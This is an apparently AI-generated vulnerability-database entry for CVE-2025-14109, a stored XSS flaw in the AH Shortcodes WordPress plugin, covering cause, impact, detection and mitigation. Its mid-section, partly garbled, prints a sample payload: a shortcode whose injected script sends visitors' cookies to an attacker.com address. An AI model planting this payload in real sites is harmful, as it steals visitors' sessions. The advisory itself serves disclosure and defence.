
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-14109 is a Stored Cross-Site Scripting (XSS) vulnerability in the AH Shortcodes plugin for WordPress. It affects all versions up to and including 1.0.2, stemming from insufficient input sanitization and output escaping on the column shortcode attribute. The vulnerability was disclosed on January 7, 2026, with Wordfence as the reporting CNA. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a stored XSS variant. The vulnerable code resides in includes/shortcodes.php at line 28, where the column shortcode attribute value is rendered without proper sanitization or escaping (WordPress Plugin Trac). An authenticated attacker with at least Contributor-level access can embed a malicious JavaScript payload within the column shortcode attribute in a post or page. Because the payload is stored server-side, it executes in the browser of any user who subsequently visits the affected page, with the scope marked as Changed (cross-boundary impact) (Wordfence).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any visitor's browser session on the affected WordPress site. This can lead to session cookie theft, credential harvesting, defacement of page content, redirection to malicious sites, or delivery of drive-by malware to site visitors. The confidentiality and integrity of user data are both at risk, though availability is not directly impacted (Wordfence).
No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.029%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).
column shortcode with a crafted attribute containing a JavaScript payload, for example: [column class=""><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].wp-admin/post.php or the REST API from Contributor-level accounts containing <script> tags or encoded JavaScript within shortcode parameters.<script> tags or JavaScript URIs stored in the wp_posts table within shortcode content, particularly in the column attribute.As of the disclosure date, no patched version of the AH Shortcodes plugin was confirmed available — the vulnerability affects all versions through 1.0.2. Site administrators should check the WordPress Plugin Repository for any updated release and upgrade immediately if one is available. As an interim measure, deactivate or remove the AH Shortcodes plugin, restrict Contributor-level account creation to trusted users, and consider using a web application firewall (WAF) such as Wordfence to block XSS payloads (Wordfence).
Wordfence reported this vulnerability as part of their weekly WordPress vulnerability report covering January 5–11, 2026, noting it among a broader set of plugin-level XSS issues (Wordfence Blog). No significant independent researcher commentary or broader media coverage has been identified for this specific CVE.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."